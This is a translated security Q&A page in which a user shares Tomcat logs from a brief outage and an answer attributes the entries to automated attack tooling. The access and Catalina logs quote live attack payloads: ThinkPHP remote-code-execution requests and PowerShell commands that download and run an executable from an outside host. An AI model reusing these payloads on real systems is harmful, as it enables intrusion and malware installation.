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社区首页 >问答首页 >托管在tomcat中的Java web应用程序挂了10多分钟,日志中包含了powershell攻击

托管在tomcat中的Java web应用程序挂了10多分钟,日志中包含了powershell攻击
EN

Security用户
提问于 2019-07-17 13:22:02
回答 1查看 255关注 0票数 -1

我们有一个运行在tomcat中的java web应用程序,它托管在AWS中。服务器中使用的操作系统是Centos。今天,它已经超过10分钟无法进入了。当我们进入时,我们检查日志以了解发生了什么。有趣的是,日志包含以下内容

代码语言:javascript
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Jul 17, 2019 2:39:44 PM org.apache.tomcat.util.http.Parameters processParameters
INFO: Character decoding failed. Parameter [xcmd] with value [cmd.exe /c powershell (new-object System.Net.WebClient).DownloadFile('http://fid.hognoob.se/download.exe','d.exe','%SystemRoot%/Temp/azpoljhwrfqozxi22660.exe');start%20%SystemRoot%/Temp/azpoljhwrfqozxi22660.exe] has been ignored. Note that the name and value quoted here may be corrupted due to the failed decoding. Use debug level logging to see the original, non-corrupted values.
 Note: further occurrences of Parameter errors will be logged at DEBUG level.

当我更多地检查时,我发现在下午2:22到2:39之间没有日志,这是服务器无法访问的时间范围。

Application日志:-

代码语言:javascript
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2019-07-17 14:20:11.620 [ERROR] org.hibernate.engine.jdbc.spi.SqlExceptionHelper:146 - ERROR: duplicate key value violates unique constraint "uk_quet6ouhlocl2k46y998wj4kb"
  Detail: Key (bar_code, revision_id)=(100019-39208, 0) already exists.
2019-07-17 14:20:53.469 [ERROR] org.hibernate.engine.jdbc.spi.SqlExceptionHelper:146 - ERROR: duplicate key value violates unique constraint "uk_quet6ouhlocl2k46y998wj4kb"
  Detail: Key (bar_code, revision_id)=(100019-39209, 0) already exists.
2019-07-17 14:21:32.329 [ERROR] org.hibernate.engine.jdbc.spi.SqlExceptionHelper:146 - ERROR: duplicate key value violates unique constraint "uk_quet6ouhlocl2k46y998wj4kb"
  Detail: Key (bar_code, revision_id)=(100019-39212, 0) already exists.
2019-07-17 14:22:27.473 [ERROR] org.hibernate.engine.jdbc.spi.SqlExceptionHelper:146 - ERROR: duplicate key value violates unique constraint "uk_quet6ouhlocl2k46y998wj4kb"
  Detail: Key (bar_code, revision_id)=(100019-39212, 0) already exists.
2019-07-17 14:22:27.987 [ERROR] org.hibernate.engine.jdbc.spi.SqlExceptionHelper:146 - ERROR: duplicate key value violates unique constraint "uk_quet6ouhlocl2k46y998wj4kb"
  Detail: Key (bar_code, revision_id)=(100019-39213, 0) already exists.
2019-07-17 14:22:34.338 [ERROR] org.hibernate.engine.jdbc.spi.SqlExceptionHelper:146 - ERROR: duplicate key value violates unique constraint "uk_quet6ouhlocl2k46y998wj4kb"
  Detail: Key (bar_code, revision_id)=(100019-39215, 0) already exists.
2019-07-17 14:45:04.900 [ERROR] org.hibernate.engine.jdbc.spi.SqlExceptionHelper:146 - ERROR: duplicate key value violates unique constraint "uk_quet6ouhlocl2k46y998wj4kb"
  Detail: Key (bar_code, revision_id)=(100019-39217, 0) already exists.
2019-07-17 14:45:49.877 [ERROR] org.hibernate.engine.jdbc.spi.SqlExceptionHelper:146 - ERROR: duplicate key value violates unique constraint "uk_quet6ouhlocl2k46y998wj4kb"
  Detail: Key (bar_code, revision_id)=(100019-39218, 0) already exists.
2019-07-17 14:47:14.155 [ERROR] org.hibernate.engine.jdbc.spi.SqlExceptionHelper:146 - ERROR: duplicate key value violates unique constraint "uk_quet6ouhlocl2k46y998wj4kb"
  Detail: Key (bar_code, revision_id)=(100019-39219, 0) already exists.
2019-07-17 14:47:20.484 [ERROR] org.hibernate.engine.jdbc.spi.SqlExceptionHelper:146 - ERROR: duplicate key value violates unique constraint "uk_quet6ouhlocl2k46y998wj4kb"
  Detail: Key (bar_code, revision_id)=(100019-39220, 0) already exists.
2019-07-17 14:49:09.092 [ERROR] org.hibernate.engine.jdbc.spi.SqlExceptionHelper:146 - ERROR: duplicate key value violates unique constraint "uk_quet6ouhlocl2k46y998wj4kb"
  Detail: Key (bar_code, revision_id)=(100019-39221, 0) already exists.
2019-07-17 14:49:54.520 [ERROR] org.hibernate.engine.jdbc.spi.SqlExceptionHelper:146 - ERROR: duplicate key value violates unique constraint "uk_quet6ouhlocl2k46y998wj4kb"
  Detail: Key (bar_code, revision_id)=(100019-39223, 0) already exists.

Access日志:-

代码语言:javascript
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[17/Jul/2019:14:22:27 +0530] "POST /HEARTBEAT/?v-uiId=2 HTTP/1.1" 200 -
[17/Jul/2019:14:22:27 +0530] "POST /UIDL/?v-uiId=7 HTTP/1.1" 200 166
[17/Jul/2019:14:22:27 +0530] "POST /UIDL/?v-uiId=0 HTTP/1.1" 200 431
[17/Jul/2019:14:22:27 +0530] "POST /UIDL/?v-uiId=0 HTTP/1.1" 200 281
[17/Jul/2019:14:22:27 +0530] "POST /UIDL/?v-uiId=2 HTTP/1.1" 200 1131
[17/Jul/2019:14:22:27 +0530] "POST /UIDL/?v-uiId=0 HTTP/1.1" 200 6412
[17/Jul/2019:14:22:27 +0530] "POST /UIDL/?v-uiId=2 HTTP/1.1" 200 537
[17/Jul/2019:14:22:27 +0530] "POST /UIDL/?v-uiId=7 HTTP/1.1" 200 3484
[17/Jul/2019:14:22:27 +0530] "POST /UIDL/?v-uiId=0 HTTP/1.1" 200 23255
[17/Jul/2019:14:22:27 +0530] "POST /UIDL/?v-uiId=0 HTTP/1.1" 200 3170
[17/Jul/2019:14:22:28 +0530] "POST /UIDL/?v-uiId=0 HTTP/1.1" 200 44314
[17/Jul/2019:14:22:28 +0530] "POST /UIDL/?v-uiId=0 HTTP/1.1" 200 3512
[17/Jul/2019:14:22:29 +0530] "POST /UIDL/?v-uiId=0 HTTP/1.1" 200 3451
[17/Jul/2019:14:22:30 +0530] "POST /UIDL/?v-uiId=0 HTTP/1.1" 200 6413
[17/Jul/2019:14:22:31 +0530] "POST /UIDL/?v-uiId=0 HTTP/1.1" 200 11953
[17/Jul/2019:14:22:31 +0530] "POST /HEARTBEAT/?v-uiId=1 HTTP/1.1" 200 -
[17/Jul/2019:14:22:31 +0530] "POST /UIDL/?v-uiId=0 HTTP/1.1" 200 16527
[17/Jul/2019:14:22:31 +0530] "POST /UIDL/?v-uiId=0 HTTP/1.1" 200 44218
[17/Jul/2019:14:22:32 +0530] "POST /UIDL/?v-uiId=2 HTTP/1.1" 200 4695
[17/Jul/2019:14:22:32 +0530] "POST /UIDL/?v-uiId=2 HTTP/1.1" 200 3675
[17/Jul/2019:14:22:33 +0530] "POST /UIDL/?v-uiId=0 HTTP/1.1" 200 7287
[17/Jul/2019:14:22:33 +0530] "POST /UIDL/?v-uiId=0 HTTP/1.1" 200 6413
[17/Jul/2019:14:22:33 +0530] "POST /UIDL/?v-uiId=0 HTTP/1.1" 200 8066
[17/Jul/2019:14:22:34 +0530] "POST /UIDL/?v-uiId=0 HTTP/1.1" 200 9802
[17/Jul/2019:14:22:34 +0530] "POST /UIDL/?v-uiId=7 HTTP/1.1" 200 2634
[17/Jul/2019:14:22:34 +0530] "POST /UIDL/?v-uiId=0 HTTP/1.1" 200 44122
[17/Jul/2019:14:22:36 +0530] "POST /UIDL/?v-uiId=0 HTTP/1.1" 200 6412
[17/Jul/2019:14:22:36 +0530] "POST /UIDL/?v-uiId=2 HTTP/1.1" 200 2132
[17/Jul/2019:14:22:37 +0530] "POST /UIDL/?v-uiId=0 HTTP/1.1" 200 44028
[17/Jul/2019:14:22:37 +0530] "POST /UIDL/?v-uiId=0 HTTP/1.1" 200 1800
[17/Jul/2019:14:39:38 +0530] "POST /UIDL/?v-uiId=0 HTTP/1.1" 200 4926
[17/Jul/2019:14:39:38 +0530] "POST /HEARTBEAT/?v-uiId=0 HTTP/1.1" 404 973
[17/Jul/2019:14:39:38 +0530] "GET / HTTP/1.1" 200 1706
[17/Jul/2019:14:39:39 +0530] "POST /HEARTBEAT/?v-uiId=1 HTTP/1.1" 200 -
[17/Jul/2019:14:39:40 +0530] "POST /UIDL/?v-uiId=0 HTTP/1.1" 200 13606
[17/Jul/2019:14:39:40 +0530] "POST /HEARTBEAT/?v-uiId=0 HTTP/1.1" 404 973
[17/Jul/2019:14:39:40 +0530] "POST /HEARTBEAT/?v-uiId=2 HTTP/1.1" 404 973
[17/Jul/2019:14:39:42 +0530] "POST /UIDL/?v-uiId=0 HTTP/1.1" 200 237
[17/Jul/2019:14:39:42 +0530] "GET / HTTP/1.1" 200 1706
[17/Jul/2019:14:39:43 +0530] "POST /tmUnblock.cgi HTTP/1.1" 200 1706
[17/Jul/2019:14:39:43 +0530] "GET / HTTP/1.1" 200 1706
[17/Jul/2019:14:39:43 +0530] "GET /public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^>hydra.php HTTP/1.1" 200 1724
[17/Jul/2019:14:39:43 +0530] "GET / HTTP/1.1" 200 1706
[17/Jul/2019:14:39:43 +0530] "GET / HTTP/1.1" 200 1706
[17/Jul/2019:14:39:44 +0530] "GET /VAADIN/widgetsets/com.abc.erp.widgetset.abcerpWidgetset/com.abc.erp.widgetset.abcerpWidgetset.nocache.js?1563354390370 HTTP/1.1" 200 3511
[17/Jul/2019:14:39:44 +0530] "GET /public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd.exe%20/c%20powershell%20(new-object%20System.Net.WebClient).DownloadFile('http://fid.hognoob.se/download.exe','%SystemRoot%/Temp/azpoljhwrfqozxi22660.exe');start%20%SystemRoot%/Temp/azpoljhwrfqozxi22660.exe HTTP/1.1" 200 1724
[17/Jul/2019:14:39:45 +0530] "GET /VAADIN/vaadinBootstrap.js?v=7.6.2 HTTP/1.1" 304 -
[17/Jul/2019:14:39:45 +0530] "GET /public/hydra.php?xcmd=cmd.exe%20/c%20powershell%20(new-object%20System.Net.WebClient).DownloadFile('http://fid.hognoob.se/download.exe','%SystemRoot%/Temp/azpoljhwrfqozxi22660.exe');start%20%SystemRoot%/Temp/azpoljhwrfqozxi22660.exe HTTP/1.1" 200 1724
[17/Jul/2019:14:39:45 +0530] "GET /VAADIN/themes/abcerp/styles.css?v=7.6.2 HTTP/1.1" 304 -
[17/Jul/2019:14:39:45 +0530] "GET /VAADIN/widgetsets/com.abc.erp.widgetset.abcerpWidgetset/com.abc.erp.widgetset.abcerpWidgetset.nocache.js?1563354393114 HTTP/1.1" 200 3511
[17/Jul/2019:14:39:46 +0530] "GET /VAADIN/widgetsets/com.abc.erp.widgetset.abcerpWidgetset/popupbutton/popupbutton.css HTTP/1.1" 304 -
[17/Jul/2019:14:39:46 +0530] "GET /VAADIN/widgetsets/com.abc.erp.widgetset.abcerpWidgetset/com.abc.erp.widgetset.abcerpWidgetset.nocache.js?1563354389975 HTTP/1.1" 200 3511
[17/Jul/2019:14:39:46 +0530] "GET /VAADIN/themes/valo/shared/img/spinner.gif HTTP/1.1" 304 -
[17/Jul/2019:14:39:46 +0530] "GET /VAADIN/widgetsets/com.abc.erp.widgetset.abcerpWidgetset/fi_jasoft_dragdroplayouts/dragdroplayouts.css HTTP/1.1" 304 -
[17/Jul/2019:14:39:46 +0530] "GET /VAADIN/widgetsets/com.abc.erp.widgetset.abcerpWidgetset/com_vaadin_addon_timeline/styles.css HTTP/1.1" 304 -
[17/Jul/2019:14:39:46 +0530] "GET /VAADIN/widgetsets/com.abc.erp.widgetset.abcerpWidgetset/com_vaadin_addon_calendar/calendar.css HTTP/1.1" 304 -
[17/Jul/2019:14:39:46 +0530] "GET /VAADIN/widgetsets/com.abc.erp.widgetset.abcerpWidgetset/easyuploads.css HTTP/1.1" 304 -
[17/Jul/2019:14:39:47 +0530] "GET /VAADIN/widgetsets/com.abc.erp.widgetset.abcerpWidgetset/filtertable/filtertable.css HTTP/1.1" 304 -
[17/Jul/2019:14:39:54 +0530] "POST /UIDL/?v-uiId=0 HTTP/1.1" 200 7730
[17/Jul/2019:14:39:54 +0530] "POST /HEARTBEAT/?v-uiId=1 HTTP/1.1" 404 973
[17/Jul/2019:14:39:54 +0530] "POST /HEARTBEAT/?v-uiId=0 HTTP/1.1" 404 973
[17/Jul/2019:14:39:54 +0530] "POST /?v-1563354393116 HTTP/1.1" 200 4843
[17/Jul/2019:14:39:55 +0530] "POST /UIDL/?v-uiId=0 HTTP/1.1" 200 237
[17/Jul/2019:14:39:55 +0530] "GET /VAADIN/themes/abcerp/img/symphony.png HTTP/1.1" 304 -
[17/Jul/2019:14:39:55 +0530] "GET /VAADIN/themes/valo/fonts/open-sans/OpenSans-Light-webfont.woff HTTP/1.1" 304 -
[17/Jul/2019:14:39:55 +0530] "GET /VAADIN/themes/valo/fonts/open-sans/OpenSans-Regular-webfont.woff HTTP/1.1" 304 -
[17/Jul/2019:14:39:55 +0530] "GET /APP/global/0/legacy/0/20180410112140264.png HTTP/1.1" 200 12363
[17/Jul/2019:14:40:06 +0530] "POST /UIDL/?v-uiId=2 HTTP/1.1" 200 8023
[17/Jul/2019:14:40:06 +0530] "POST /UIDL/?v-uiId=3 HTTP/1.1" 200 237
[17/Jul/2019:14:40:06 +0530] "POST /HEARTBEAT/?v-uiId=2 HTTP/1.1" 404 973
[17/Jul/2019:14:40:06 +0530] "POST /HEARTBEAT/?v-uiId=3 HTTP/1.1" 404 973
[17/Jul/2019:14:40:06 +0530] "POST /HEARTBEAT/?v-uiId=0 HTTP/1.1" 404 973
[17/Jul/2019:14:40:06 +0530] "POST /HEARTBEAT/?v-uiId=1 HTTP/1.1" 404 973
[17/Jul/2019:14:40:12 +0530] "GET / HTTP/1.1" 200 1706

Catalina日志:-

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Jul 17, 2019 2:00:17 AM org.apache.catalina.startup.VersionLoggerListener log
INFO: Server version:        Apache Tomcat/7.0.72
Jul 17, 2019 2:00:17 AM org.apache.catalina.startup.VersionLoggerListener log
INFO: Server built:          Sep 14 2016 12:12:26 UTC
Jul 17, 2019 2:00:17 AM org.apache.catalina.startup.VersionLoggerListener log
INFO: Server number:         7.0.72.0
Jul 17, 2019 2:00:17 AM org.apache.catalina.startup.VersionLoggerListener log
INFO: OS Name:               Linux
Jul 17, 2019 2:00:17 AM org.apache.catalina.startup.VersionLoggerListener log
INFO: OS Version:            3.10.0-693.21.1.el7.x86_64
Jul 17, 2019 2:00:17 AM org.apache.catalina.startup.VersionLoggerListener log
INFO: Architecture:          amd64
Jul 17, 2019 2:00:17 AM org.apache.catalina.startup.VersionLoggerListener log
INFO: Java Home:             /usr/lib/jvm/java-1.7.0-openjdk-1.7.0.171-2.6.13.0.el7_4.x86_64/jre
Jul 17, 2019 2:00:17 AM org.apache.catalina.startup.VersionLoggerListener log
INFO: JVM Version:           1.7.0_171-mockbuild_2018_02_27_14_27-b00
Jul 17, 2019 2:00:17 AM org.apache.catalina.startup.VersionLoggerListener log
INFO: JVM Vendor:            Oracle Corporation
Jul 17, 2019 2:00:17 AM org.apache.catalina.startup.VersionLoggerListener log
INFO: CATALINA_BASE:         /var/abc/ERP/apache-tomcat-7.0.72
Jul 17, 2019 2:00:17 AM org.apache.catalina.startup.VersionLoggerListener log
INFO: CATALINA_HOME:         /var/abc/ERP/apache-tomcat-7.0.72
Jul 17, 2019 2:00:17 AM org.apache.catalina.startup.VersionLoggerListener log
INFO: Command line argument: -Djava.util.logging.config.file=/var/abc/ERP/apache-tomcat-7.0.72/conf/logging.properties
Jul 17, 2019 2:00:17 AM org.apache.catalina.startup.VersionLoggerListener log
INFO: Command line argument: -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager
Jul 17, 2019 2:00:17 AM org.apache.catalina.startup.VersionLoggerListener log
INFO: Command line argument: -Djdk.tls.ephemeralDHKeySize=2048
Jul 17, 2019 2:00:17 AM org.apache.catalina.startup.VersionLoggerListener log
INFO: Command line argument: -Dfile.encoding=UTF8
Jul 17, 2019 2:00:17 AM org.apache.catalina.startup.VersionLoggerListener log
INFO: Command line argument: -Dlog4j.ignoreTCL=true
Jul 17, 2019 2:00:17 AM org.apache.catalina.startup.VersionLoggerListener log
INFO: Command line argument: -Dserver.name=
Jul 17, 2019 2:00:17 AM org.apache.catalina.startup.VersionLoggerListener log
INFO: Command line argument: -Dorg.apache.catalina.loader.WebappClassLoader.ENABLE_CLEAR_REFERENCES=false
Jul 17, 2019 2:00:17 AM org.apache.catalina.startup.VersionLoggerListener log
INFO: Command line argument: -Dmail.debug=true
Jul 17, 2019 2:00:17 AM org.apache.catalina.startup.VersionLoggerListener log
INFO: Command line argument: -Duser.timezone=GMT+5.30
Jul 17, 2019 2:00:17 AM org.apache.catalina.startup.VersionLoggerListener log
INFO: Command line argument: -Xms12288m
Jul 17, 2019 2:00:17 AM org.apache.catalina.startup.VersionLoggerListener log
INFO: Command line argument: -Xmx12288m
Jul 17, 2019 2:00:17 AM org.apache.catalina.startup.VersionLoggerListener log
INFO: Command line argument: -XX:MaxPermSize=4096m
Jul 17, 2019 2:00:17 AM org.apache.catalina.startup.VersionLoggerListener log
INFO: Command line argument: -XX:+CMSClassUnloadingEnabled
Jul 17, 2019 2:00:17 AM org.apache.catalina.startup.VersionLoggerListener log
INFO: Command line argument: -XX:+CMSPermGenSweepingEnabled
Jul 17, 2019 2:00:17 AM org.apache.catalina.startup.VersionLoggerListener log
INFO: Command line argument: -XX:+UseConcMarkSweepGC
Jul 17, 2019 2:00:17 AM org.apache.catalina.startup.VersionLoggerListener log
INFO: Command line argument: -XX:NewRatio=2
Jul 17, 2019 2:00:17 AM org.apache.catalina.startup.VersionLoggerListener log
INFO: Command line argument: -XX:+PrintGCDetails
Jul 17, 2019 2:00:17 AM org.apache.catalina.startup.VersionLoggerListener log
INFO: Command line argument: -XX:+PrintGCDateStamps
Jul 17, 2019 2:00:17 AM org.apache.catalina.startup.VersionLoggerListener log
INFO: Command line argument: -XX:-HeapDumpOnOutOfMemoryError
Jul 17, 2019 2:00:17 AM org.apache.catalina.startup.VersionLoggerListener log
INFO: Command line argument: -XX:HeapDumpPath=/var/abc/dump
Jul 17, 2019 2:00:17 AM org.apache.catalina.startup.VersionLoggerListener log
INFO: Command line argument: -Djava.endorsed.dirs=/var/abc/ERP/apache-tomcat-7.0.72/endorsed
Jul 17, 2019 2:00:17 AM org.apache.catalina.startup.VersionLoggerListener log
INFO: Command line argument: -Dcatalina.base=/var/abc/ERP/apache-tomcat-7.0.72
Jul 17, 2019 2:00:17 AM org.apache.catalina.startup.VersionLoggerListener log
INFO: Command line argument: -Dcatalina.home=/var/abc/ERP/apache-tomcat-7.0.72
Jul 17, 2019 2:00:17 AM org.apache.catalina.startup.VersionLoggerListener log
INFO: Command line argument: -Djava.io.tmpdir=/var/abc/ERP/apache-tomcat-7.0.72/temp
Jul 17, 2019 2:00:17 AM org.apache.catalina.core.AprLifecycleListener lifecycleEvent
INFO: The APR based Apache Tomcat Native library which allows optimal performance in production environments was not found on the java.library.path: /usr/java/packages/lib/amd64:/usr/lib64:/lib64:/lib:/usr/lib
Jul 17, 2019 2:00:18 AM org.apache.coyote.AbstractProtocol init
INFO: Initializing ProtocolHandler ["http-bio-8080"]
Jul 17, 2019 2:00:18 AM org.apache.coyote.AbstractProtocol init
INFO: Initializing ProtocolHandler ["ajp-bio-8009"]
Jul 17, 2019 2:00:18 AM org.apache.catalina.startup.Catalina load
INFO: Initialization processed in 1898 ms
Jul 17, 2019 2:00:18 AM org.apache.catalina.core.StandardService startInternal
INFO: Starting service Catalina
Jul 17, 2019 2:00:18 AM org.apache.catalina.core.StandardEngine startInternal
INFO: Starting Servlet Engine: Apache Tomcat/7.0.72
Jul 17, 2019 2:00:18 AM org.apache.catalina.loader.WebappClassLoaderBase validateJarFile
INFO: validateJarFile(/var/abc/ERP/apache-tomcat-7.0.72/webapps/abcERP/WEB-INF/lib/javax.servlet-api-3.0.1.jar) - jar not loaded. See Servlet Spec 3.0, section 10.7.2. Offending class: javax/servlet/Servlet.class
Jul 17, 2019 2:00:33 AM org.apache.catalina.core.StandardContext checkUnusualURLPattern
INFO: Suspicious url pattern: "/rest/**" in context [] - see sections 12.1 and 12.2 of the Servlet specification
Jul 17, 2019 2:00:33 AM org.apache.catalina.startup.TldConfig execute
INFO: At least one JAR was scanned for TLDs yet contained no TLDs. Enable debug logging for this logger for a complete list of JARs that were scanned but no TLDs were found in them. Skipping unneeded JARs during scanning can improve startup time and JSP compilation time.
Jul 17, 2019 2:00:53 AM org.apache.catalina.startup.HostConfig deployWAR
INFO: Deploying web application archive /var/abc/ERP/apache-tomcat-7.0.72/webapps/abcERP.war
Jul 17, 2019 2:00:53 AM org.apache.catalina.loader.WebappClassLoaderBase validateJarFile
INFO: validateJarFile(/var/abc/ERP/apache-tomcat-7.0.72/webapps/abcERP/WEB-INF/lib/javax.servlet-api-3.0.1.jar) - jar not loaded. See Servlet Spec 3.0, section 10.7.2. Offending class: javax/servlet/Servlet.class
Jul 17, 2019 2:00:56 AM org.apache.catalina.core.StandardContext checkUnusualURLPattern
INFO: Suspicious url pattern: "/rest/**" in context [/abcERP] - see sections 12.1 and 12.2 of the Servlet specification
Jul 17, 2019 2:00:56 AM org.apache.catalina.startup.TldConfig execute
INFO: At least one JAR was scanned for TLDs yet contained no TLDs. Enable debug logging for this logger for a complete list of JARs that were scanned but no TLDs were found in them. Skipping unneeded JARs during scanning can improve startup time and JSP compilation time.
Jul 17, 2019 2:01:11 AM org.apache.catalina.startup.HostConfig deployWAR
INFO: Deployment of web application archive /var/abc/ERP/apache-tomcat-7.0.72/webapps/abcERP.war has finished in 18,798 ms
Jul 17, 2019 2:01:11 AM org.apache.catalina.startup.HostConfig deployDirectory
INFO: Deploying web application directory /var/abc/ERP/apache-tomcat-7.0.72/webapps/manager
Jul 17, 2019 2:01:12 AM org.apache.catalina.startup.HostConfig deployDirectory
INFO: Deployment of web application directory /var/abc/ERP/apache-tomcat-7.0.72/webapps/manager has finished in 78 ms
Jul 17, 2019 2:01:12 AM org.apache.catalina.startup.HostConfig deployDirectory
INFO: Deploying web application directory /var/abc/ERP/apache-tomcat-7.0.72/webapps/examples
Jul 17, 2019 2:01:12 AM org.apache.catalina.startup.HostConfig deployDirectory
INFO: Deployment of web application directory /var/abc/ERP/apache-tomcat-7.0.72/webapps/examples has finished in 388 ms
Jul 17, 2019 2:01:12 AM org.apache.catalina.startup.HostConfig deployDirectory
INFO: Deploying web application directory /var/abc/ERP/apache-tomcat-7.0.72/webapps/docs
Jul 17, 2019 2:01:12 AM org.apache.catalina.startup.HostConfig deployDirectory
INFO: Deployment of web application directory /var/abc/ERP/apache-tomcat-7.0.72/webapps/docs has finished in 36 ms
Jul 17, 2019 2:01:12 AM org.apache.catalina.startup.HostConfig deployDirectory
INFO: Deploying web application directory /var/abc/ERP/apache-tomcat-7.0.72/webapps/host-manager
Jul 17, 2019 2:01:12 AM org.apache.catalina.startup.HostConfig deployDirectory
INFO: Deployment of web application directory /var/abc/ERP/apache-tomcat-7.0.72/webapps/host-manager has finished in 29 ms
Jul 17, 2019 2:01:12 AM org.apache.coyote.AbstractProtocol start
INFO: Starting ProtocolHandler ["http-bio-8080"]
Jul 17, 2019 2:01:12 AM org.apache.coyote.AbstractProtocol start
INFO: Starting ProtocolHandler ["ajp-bio-8009"]
Jul 17, 2019 2:01:12 AM org.apache.catalina.startup.Catalina start
INFO: Server startup in 54377 ms
Jul 17, 2019 2:39:44 PM org.apache.tomcat.util.http.Parameters processParameters
INFO: Character decoding failed. Parameter [xcmd] with value [cmd.exe /c powershell (new-object System.Net.WebClient).DownloadFile('http://fid.hognoob.se/download.exe','d.exe','%SystemRoot%/Temp/azpoljhwrfqozxi22660.exe');start%20%SystemRoot%/Temp/azpoljhwrfqozxi22660.exe] has been ignored. Note that the name and value quoted here may be corrupted due to the failed decoding. Use debug level logging to see the original, non-corrupted values.
 Note: further occurrences of Parameter errors will be logged at DEBUG level.
Jul 17, 2019 3:33:04 PM org.apache.catalina.realm.LockOutRealm filterLockedAccounts
WARNING: An attempt was made to authenticate the locked user "tomcat"
Jul 17, 2019 3:33:07 PM org.apache.catalina.realm.LockOutRealm filterLockedAccounts
WARNING: An attempt was made to authenticate the locked user "manager"
Jul 17, 2019 3:33:10 PM org.apache.catalina.realm.LockOutRealm filterLockedAccounts
WARNING: An attempt was made to authenticate the locked user "admin"
Jul 17, 2019 3:33:15 PM org.apache.catalina.realm.LockOutRealm filterLockedAccounts
WARNING: An attempt was made to authenticate the locked user "root"

有人能解释一下发生了什么吗?

EN

回答 1

Security用户

发布于 2019-07-17 13:34:14

看起来像一些恶意的参与者自动攻击工具试图利用tomcat。不能保证停机时间与此攻击相关联,因为Tomcat实例可能经常收到类似的攻击。我建议看看其他可能导致停工的东西。

票数 0
EN
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原文链接:

https://security.stackexchange.com/questions/213620

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